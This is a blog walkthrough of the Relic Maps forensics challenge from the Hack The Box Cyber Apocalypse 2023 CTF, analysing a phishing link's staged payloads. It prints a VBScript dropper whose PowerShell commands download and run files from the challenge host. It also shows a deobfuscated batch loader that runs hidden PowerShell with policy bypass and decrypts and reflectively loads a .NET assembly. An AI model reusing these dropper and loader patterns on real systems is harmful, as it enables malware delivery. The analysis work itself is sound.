forbytten blogs

Relic Maps walkthrough - Cyber Apocalypse 2023

Last update:

1 Introduction

I previously wrote about participating in the Hack The Box Cyber Apocalypse 2023 CTF (Capture the Flag) competition.

This walkthrough covers the Relic Maps challenge in the Forensics category, which was rated as having a ‘medium’ difficulty. This challenge involves the forensic analysis of a phishing email link.

Whilst I did not have time to complete the challenge during the live CTF event, I managed to complete it during the post-CTF “after party”, which was an additional three days during which the challenges were made available to be completed without scoring.

The description of the challenge is shown below. The key information from the description is that

  1. Pandora received a phishing email containing a link to http://relicmaps.htb:30518/
  2. relicmaps.htb should resolve to your Docker instance
Relic Maps challenge description

The key techniques employed in this walkthrough are:

2 Resolving relicmaps.htb

Locally, /etc/hosts was edited with an additional line to enable resolution of relicmaps.htb to the Docker instance at   relicmaps.htb

3 First stage payload analysis

3.1 Downloading http://relicmaps.htb:30518/

The artifact was retrieved using curl, with Burp used as a proxy:

$ curl -s --proxy -o http://relicmaps.htb:30518/

3.2 Recording the artifact hash

Before commencing any forensic analysis, it’s important to record a cryptographically strong hash of the artifact. This ensures verification can be performed to demonstrate that the artifact has not been contaminated since initial acquisition. Additionally, for malware analysis, the hash assists in uniquely identifying future instances. Although this step is rather unnecessary for a CTF, it is a good habit to form. To that end, the SHA256 hash of the challenge artifact was recorded:

$ shasum -a256

3.3 Basic artifact identification

The file command could not identify the file type:

$ file data

However, the strings command indicated the file contained HTML. The sed command was used to extract all lines between DOCTYPE and </html>, inclusive, into first-stage-payload.html using the following options:

suppress automatic printing of lines from window.bat
use extended regular expressions
-e '/DOCTYPE/,/<\/html>/p'
run the given script, which matches the range of lines between DOCTYPE and </html> and prints them out
$ strings |sed -n -E -e '/DOCTYPE/,/<\/html>/p' > first-stage-payload.html

3.4 first-stage-payload.html analysis

The extracted HTML contains VBScript. Line 40 calls the AutoOpen function which is defined on line 21. This function ultimately executes the PowerShell Invoke-WebRequest function to download additional payload stages from the following URLs:

$ cat first-stage-payload.html
<!DOCTYPE html>
<script type="text/vbscript">
' Exec process using WMI
Function WmiExec(cmdLine )
    Dim objConfig
    Dim objProcess
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = 0
    Set objProcess = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
    WmiExec = dukpatek(objProcess, objConfig, cmdLine)
End Function
Private Function dukpatek(myObjP , myObjC , myCmdL )
    Dim procId
    dukpatek = myObjP.Create(myCmdL, Null, myObjC, procId)
End Function
Sub AutoOpen()
    ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/uploads/soft/ -OutFile $env:tmp\; Start-Process -Filepath $env:tmp\"
            ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/get/DdAbds/window.bat -OutFile $env:tmp\system32.bat; Start-Process -Filepath $env:tmp\system32.bat"
End Sub
' Exec process using WScript.Shell (asynchronous)
Sub WscriptExec(cmdLine )
    CreateObject("WScript.Shell").Run cmdLine, 0
End Sub
Sub ExecuteCmdAsync(targetPath )
    On Error Resume Next
    wimResult = WmiExec(targetPath)
    If Err.Number <> 0 Or wimResult <> 0 Then
        WscriptExec targetPath
    End If
    On Error Goto 0
End Sub
window.resizeTo 0,0

4 Second stage payload analysis -

4.1 Downloading http://relicmaps.htb/uploads/soft/

Once again, the artifact was retrieved using curl:

$ curl -s --proxy -o http://relicmaps.htb:30518/uploads/soft/

4.2 Recording the artifact hash

Once again, the artifact hash was recorded:


4.3 Basic artifact identification

Similar to, the file command was unable to identify the file type:

$ file data

However, once again, the strings command indicated the file contained HTML. The sed command was used to extract all lines between DOCTYPE and </html>, inclusive, into topsecret-maps-embedded.html:

$ strings| sed -n -E -e '/DOCTYPE/,/<\/html>/p' > topsecret-maps-embedded.html

4.4 topsecret-maps-embedded.html analysis

The extracted HTML contains VBScript with the same structure as the HTML from except this time the additional stages downloaded are from the following URLs on lines 22-23:

$ grep -A3 'Sub AutoOpen' workdir/topsecret-maps-embedded.html
Sub AutoOpen()
    ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri -OutFile $env:tmp\; Start-Process -Filepath $env:tmp\"
            ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri -OutFile $env:tmp\system32.bat; Start-Process -Filepath $env:tmp\system32.bat"
End Sub

It should be noted that attempting to retrieve the URLs from the same Docker host was unsuccessful and the URLs proved irrelevant to the challenge.

5 Second stage payload analysis - window.bat

5.1 Downloading http://relicmaps.htb:30518/get/DdAbds/window.bat

Once again, the artifact was retrieved using curl:

$ curl -s --proxy -o window.bat http://relicmaps.htb:30518/get/DdAbds/window.bat

5.2 Recording the artifact hash

Once again, the artifact hash was recorded:

$ shasum -a256 window.bat
29dad475c4794aaba72f304c0a77f0646a42c30c05ba89d3283c9bb6ac1ac448  window.bat

5.3 Basic artifact identification

file was able to identify window.bat as a DOS batch file.

$ file window.bat
window.bat: DOS batch file, ASCII text, with very long lines (4463), with CRLF line terminators

However, the contents of the file was obfuscated, as illustrated by the first 10 lines shown below:

$ head window.bat
@echo off
set "eFlP=set "
%eFlP%"PxzdwcSExs= /"

5.4 Deobfuscating window.bat

The approach taken to deobfuscate window.bat was to convert the file to Python code that will print out the commands that would have been run. This can be semi-automated with the help of the sed command to process each sequence of lines.

5.4.1 Commenting out Lines 1-2

The first line of window.bat simply disables echoing of commands, whilst the second line aliases the variable eFlP to the set command. Thus, these lines can be commented out using a sed script which operates only on lines 1-2, substitutes the start of lines with the Python comment character ‘#’ and prints the resulting lines for each successful substitution.

$ sed -n -e '1,2s/^/#/p' window.bat
#@echo off
#set "eFlP=set "

5.4.2 Defining variable assignments on lines 3-38

Lines 3-38 define variables using the aliased eFlP=set command that we have commented out above:

$ sed -n -e '3,38p' window.bat
%eFlP%"PxzdwcSExs= /"


These lines can be converted to Python variable assignments using sed by building up the script in multiple steps:

  1. Operate on the address range, lines 3-38, substitute %eFlP%" with the empty string on each line, then print the line

    $ sed -n -E -e '3,38{s/%eFlP%"//;p}' window.bat
    PxzdwcSExs= /"
  2. Additionally escape backslash characters

    $ sed -n -E -e '3,38{s/%eFlP%"//;s/\\/\\\\/g;p}' window.bat
    PxzdwcSExs= /"
  3. Additionally surround each variable value with a single quote, and remove the trailing double quote. This time, the additional command is specified using a piped sed command to make the nested quotes easier to specify

    $ sed -n -E -e '3,38{s/%eFlP%"//;s/\\/\\\\/g;p}' window.bat|sed -E -e "s/(.*)=(.*)\"/\1='\2'/"
    PxzdwcSExs=' /'

5.4.3 Commenting out line 39

Similar to line 2, line 39 aliases VhIy to the set command. Thus, this line can also be commented out:

$ sed -n -E -e '39s/^/#/p'  window.bat
#set "VhIy=set "

5.4.4 Defining variable assignments on lines 40-41

The sed script for lines 40-41 is the same as for lines 3-38, except that the %VhIy%" alias is removed

$ sed -n -E -e '40,41{s/%VhIy%"//;s/\\/\\\\/g;p}' window.bat|sed -E -e "s/(.*)=(.*)\"/\1='\2'/"
xQseEVnPet=' "%~dp0"'

5.4.5 Commenting out line 42

In a now familiar pattern, line 42 aliases eUFw to the set command and can also be commented out:

$ sed -n -E -e '42s/^/#/p'  window.bat
#set "eUFw=set "

5.4.6 Defining variable assignments on lines 43-107

The variable assignments on lines 43-107 are similar to the ones on lines 3-38 except for some tweaking

  1. Removing the %eUFw%" string and escaping backslashes is similar to before. However, the results contain a couple of complications. Namely, some variable values contain a single quote character and an equals character, such as the variables VavtsuhNIN and AHKCuBAkui, respectively. The next steps will deal with these.

    $ sed -n -E -e '43,107{s/%eUFw%"//;s/\\/\\\\/g;p}' window.bat
    AHKCuBAkui=r = "
  2. Additionally escape single quote characters. This time, the additional command is specified using a piped sed command to make the nested quotes easier to specify

    $ sed -n -E -e '43,107{s/%eUFw%"//;s/\\/\\\\/g;p}' window.bat | sed -E -e "s/'/\\\\'/g"
    AHKCuBAkui=r = "
  3. Unfortunately, the presence of equals characters in the variable values is too much for sed, as sed does not support the non-greedy regex quantifiers which Perl does. This means the previous substitution of s/(.*)=(.*)\"/\1='\2'/ will match on the last equals sign in a line, which would be in the variable value itself. The result is incorrect syntax for a Python variable assignment, as can be seen in the AHKCuBAkui variable in the following snippet:

    $ sed -n -E -e '43,107{s/%eUFw%"//;s/\\/\\\\/g;p}' window.bat | sed -E -e "s/'/\\\\'/g" | sed -E -e "s/(.*)=(.*)\"/\1='\2'/"
    AHKCuBAkui=r =' '

    Fortunately, perl can be run with a pattern matching loop similar to sed via the -p option and a substitution command very similar to sed via the -e option. The non-greedy quantifier in (.*?)= will match up to the first equals sign, producing the correct results:

    $ sed -n -E -e '43,107{s/%eUFw%"//;s/\\/\\\\/g;p}' window.bat | sed -E -e "s/'/\\\\'/g" | perl -pe "s/(.*?)=(.*)\"/\1='\2'/"
    AHKCuBAkui='r = '

5.4.7 Commenting out line 108

Line 108 contains a commented out base64 encoded value. For now, this can be converted to a Python comment. The purpose of this comment will become apparent later in the walkthrough.

$ sed -n -E -e '108{s/^/#/;p}' window.bat

#:: SEWD/RSJz4q93dq1c+u3tVcKPbLfn1fTrwl01pkHX3+NzcJ42N+ZgqbF+h+S76xsuroW3DDJ50IxTV/ <snip/>

5.4.8 Defining variable assignments on lines 109-371

Lines 109-371 contain more variable assignments using the same eUFw alias as before. Thus, the same code but with a different range can be used

$ sed -n -E -e '109,371{s/%eUFw%"//;s/\\/\\\\/g;p}' window.bat | sed -E -e "s/'/\\\\'/g" | perl -pe "s/(.*?)=(.*)\"/\1='\2'/"

YnGvhgYxvb='cm ='


5.4.9 Converting line 372 to a Python print statement

Line 372 appears to be built up entirely from variables:

$ sed -n 372p window.bat


The variable references can be converted to Python f-string variable references, once again taking advantage of Perl’s non-greedy quantifier support:

$ sed -n -E -e '372p' window.bat |perl -pe "s/%(.*?)%/{\1}/g"

Then the entire line can be converted to a print statement:

$ sed -n -E -e '372p' window.bat |perl -pe "s/%(.*?)%/{\1}/g"|perl -pe 's/(.+)\r$/print(f"\1")/'

5.4.10 Commenting out line 373

Line 373 simply contains a cls command to clear the screen and can be commented out

$ sed -n -E -e '373s/^/#/p' window.bat

5.4.11 Converting lines 374-375 to Python print statements

Lines 374-375 can be converted similarly to line 372:

  1. Line 374

    $ sed -n -E -e '374p' window.bat |perl -pe "s/%(.*?)%/{\1}/g"|perl -pe 's/(.+)\r$/print(f"\1")/'
  2. Line 375

    $ sed -n -E -e '375p' window.bat |perl -pe "s/%(.*?)%/{\1}/g"|perl -pe 's/(.+)\r$/print(f"\1")/'
    print(f"{eDhTebXJLa}{vShQyqnqqU}{KsuJogdoiJ}{uVLEiIUjzw}{SJsEzuInUY} <snip/> {PjdRUyhsyG}{kpzxAxFvLw}{rddZbDFvhl}")

5.4.12 Putting it altogether

Putting all the commands into results in a script that will generate a Python script for deobfuscating window.bat:

$ cat
sed -n -e '1,2s/^/#/p' window.bat
sed -n -E -e '3,38{s/%eFlP%"//;s/\\/\\\\/g;p}' window.bat|sed -E -e "s/(.*)=(.*)\"/\1='\2'/"
sed -n -E -e '39s/^/#/p'  window.bat
sed -n -E -e '40,41{s/%VhIy%"//;s/\\/\\\\/g;p}' window.bat|sed -E -e "s/(.*)=(.*)\"/\1='\2'/"
sed -n -E -e '42s/^/#/p'  window.bat
sed -n -E -e '43,107{s/%eUFw%"//;s/\\/\\\\/g;p}' window.bat | sed -E -e "s/'/\\\\'/g" | perl -pe "s/(.*?)=(.*)\"/\1='\2'/"
sed -n -E -e '108{s/^/#/;p}' window.bat
sed -n -E -e '109,371{s/%eUFw%"//;s/\\/\\\\/g;p}' window.bat | sed -E -e "s/'/\\\\'/g" | perl -pe "s/(.*?)=(.*)\"/\1='\2'/"
sed -n -E -e '372p' window.bat |perl -pe "s/%(.*?)%/{\1}/g"|perl -pe 's/(.+)\r$/print(f"\1")/'
sed -n -E -e '373s/^/#/p' window.bat
sed -n -E -e '374p' window.bat |perl -pe "s/%(.*?)%/{\1}/g"|perl -pe 's/(.+)\r$/print(f"\1")/'
sed -n -E -e '375p' window.bat |perl -pe "s/%(.*?)%/{\1}/g"|perl -pe 's/(.+)\r$/print(f"\1")/' can be generated as follows, using sed to remove Windows carriage return line endings:

bash |sed -e 's/\r$//' > was then executed to produce a deobfuscated DOS batch file:

$ python3 |tee window-deobfuscated.txt

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "%~0.exe"
cd "%~dp0"
"%~nx0.exe" -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) {  $VuGcO = $YiLGW.Substring(3); break; }; };$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);$BacUA = New-Object System.Security.Cryptography.AesManaged;$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');$Nlgap = $BacUA.CreateDecryptor();$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);$Nlgap.Dispose();$BacUA.Dispose();$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);$bTMLk = New-Object System.IO.MemoryStream;$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);$NVPbn.CopyTo($bTMLk);$NVPbn.Dispose();$mNKMr.Dispose();$bTMLk.Dispose();$uZOcm = $bTMLk.ToArray();$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);$PtfdQ = $gDBNO.EntryPoint;$PtfdQ.Invoke($null, (, [string[]] ('%*')))

5.4.13 Pretty formatting

The deobfuscated DOS batch file was manually reformatted and commented, albeit the reformatting was for documentation purposes only and technically breaks the syntax. In summary, the code does the following:

  1. decodes the base64 encoded value from the comment on line 108 in the obfuscated batch file
  2. decrypts the result using AES-CBC with PKCS7 padding
  3. decompresses the resulting gzipped value
  4. loads the result as a .NET assembly
  5. executes the assembly entry point.
# copies powershell to system32.exe
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "%~0.exe"

# cd to the current system32.bat directory, recalling that system32.bat is actually window.bat
cd "%~dp0"

# run powershell with command
"%~nx0.exe" -noprofile -windowstyle hidden -ep bypass -command

# read all lines from system32.bat (ie. window.bat)
$eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);

# loop through the lines. If the line starts with ::, assign the rest of the line to $VuGcO.
# ie. This extracts the base64 encoded value from the comment on line 108 in
# the obfuscated file.
foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) {  $VuGcO = $YiLGW.Substring(3);

# base64 decode $VuGcO
$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);

# instantiate AES decryptor in CBC mode, PKCS7 padding,
# key, base64: 0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=
# IV, base64: 2hn/J717js1MwdbbqMn7Lw==
$BacUA = New-Object System.Security.Cryptography.AesManaged;
$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');
$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');

# decrypt
$Nlgap = $BacUA.CreateDecryptor();
$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);
$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);
$bTMLk = New-Object System.IO.MemoryStream;

# gunzip
$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);

# load as .NET assembly
$uZOcm = $bTMLk.ToArray();
$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);

# invoke the assembly entry point
$PtfdQ = $gDBNO.EntryPoint;
$PtfdQ.Invoke($null, (, [string[]] ('%*')))

5.5 Decrypting the embedded .NET assembly

5.5.1 Extracting the encrypted assembly

A one liner was used to base64 decode the .NET assembly from the original batch file:

$ sed -n -e '108p' window.bat |tail -c +4 |sed -e 's/\r//'| base64 -d > aes-encrypted-dot-net-assembly.bin

5.5.2 Analyzing the AES key

The AES key length was determined to be 256 bits long using the command below, where:

  1. The -n option passed to echo ensures no trailing newline is added
  2. base64 -d decodes the value using base64 encoding
  3. xxd -p -c0 encodes the value as a plain hex value, with no line length limit
  4. tr -d '\n' removes the trailing newline output by xxd
  5. wc -c counts the number of characters
  6. The result is 64 hex characters, which equates to 32 bytes, or 256 bits. Thus, AES-256 is being used.
$ echo -n '0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=' |base64 -d |xxd -p -c0|tr -d '\n' |wc -c

5.5.3 Converting the IV to hex

The IV (initialization vector) was converted to hex:

$ echo -n '2hn/J717js1MwdbbqMn7Lw==' |base64 -d |xxd -p -c0

5.5.4 Using CyberChef to decrypt the gzipped assembly

CyberChef was used to decrypt the gzipped assembly using AES-CBC and the hex key and IV from above:

CyberChef was used to decrypt the gzipped assembly

The resulting file was gunzipped and identified as a PE32 .NET assembly:

$ gunzip  dot-net-assembly.bin.gz

$ file dot-net-assembly.bin
dot-net-assembly.bin: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

5.6 Obtaining the flag

The flag was present as a string in the assembly, where the -e l option was passed to the strings command in order to specify 16-bit littleendian strings which Windows uses by default:

$ strings -e l dot-net-assembly.bin |head -1


6 Conclusion

The flag was submitted and the challenge was marked as pwned

Submission of the flag marked the challenge as pwned